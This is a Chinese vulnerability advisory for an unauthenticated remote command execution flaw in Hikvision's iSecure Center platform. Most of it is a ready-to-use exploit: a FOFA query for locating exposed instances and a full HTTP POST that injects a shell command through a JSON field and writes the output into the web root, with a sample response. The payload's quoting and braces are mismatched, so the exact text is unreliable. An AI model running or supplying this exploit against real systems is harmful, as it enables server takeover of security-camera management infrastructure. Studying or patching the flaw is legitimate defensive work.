

海康威视综合安防管理平台 detection 前台 RCE漏洞

漏洞描述

海康威视综合安防管理平台 /center/api/installation/detection 接口处存在远程命令执行漏洞，未经身份验证的远程攻击者可通过该漏洞在服务器端任意执行代码，写入后门，获取服务器权限，进而控制整个 web 服务器。

影响范围

海康威视综合安防管理平台

漏洞状态

漏洞细节	漏洞POC	漏洞EXP	在野利用
是	已公开	已公开	已知

风险等级

维度	评价
威胁等级	高危
影响面	广
攻击者价值	中
利用难度	低

漏洞复现

FOFA：app="HIKVISION-iSecure-Center"

POC/EXP：

POST /center/api/installation/detection HTTP/1.1

Host: 127.0.0.1

User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_12_6) AppleWebKit/537.36(KHTML, like Gecko) Chrome/105.0.1249.139 Safari/537.36

Accept:

text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,;q=0.8, application/signed-exchange;v=b3;q=0.9

Accept-Encoding: gzip, deflate

Accept-Language: zh-CN,zh;q=0.9

Connection: close

Content-Type: application/json;charset=UTF-8

```
{"type":"environment","operate":"","machines":{"id": "${id > /opt/hikvision/web/components/tomcat85linux64.1/webapps/vms/static/ceshi.txt)}}
```

把命令执行结果写入txt文件

原始 HTTP 请求

```
1 POST /center/api/installation/detection HTTP/1.1
2 Host: [redacted]
3 User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_12_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.1249.139 Safari/537.36
4 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
5 Accept-Encoding: gzip, deflate
6 Accept-Language: zh-CN,zh;q=0.9
7 Connection: close
8 Content-Type: application/json;charset=UTF-8
9
10 {"type":"environment","operate":"","machines":{"id":"${id}>./opt/hikvision/web/components/tomcat85linux64.1/webapps/vms/static/ceshi.txt")}}
```

原始 HTTP 响应

```
1 HTTP/1.1 200
2 Server: openresty
3 Date: Tue, 23 Jul 2024 01:11:52 GMT
4 Content-Type: text/html; charset=utf-8
5 Connection: close
6 Set-Cookie: JSESSIONID=C3A41D724158428394A0E2670B6FC45C; Path=/center; HttpOnly
7 Content-Language: zh_CN
8 Cache-Control: no-cache, no-store, must-revalidate
9 Pragma: no-cache
10 Expires: 0
11 Content-Length: 60
12
13 {"code":"0x00137293","data":null,"msg":"服务器不在线"}
```

Request Headers

Accept

Accept-Encodi...

修复方案

关闭互联网暴露面或接口设置访问权限

升级至安全版本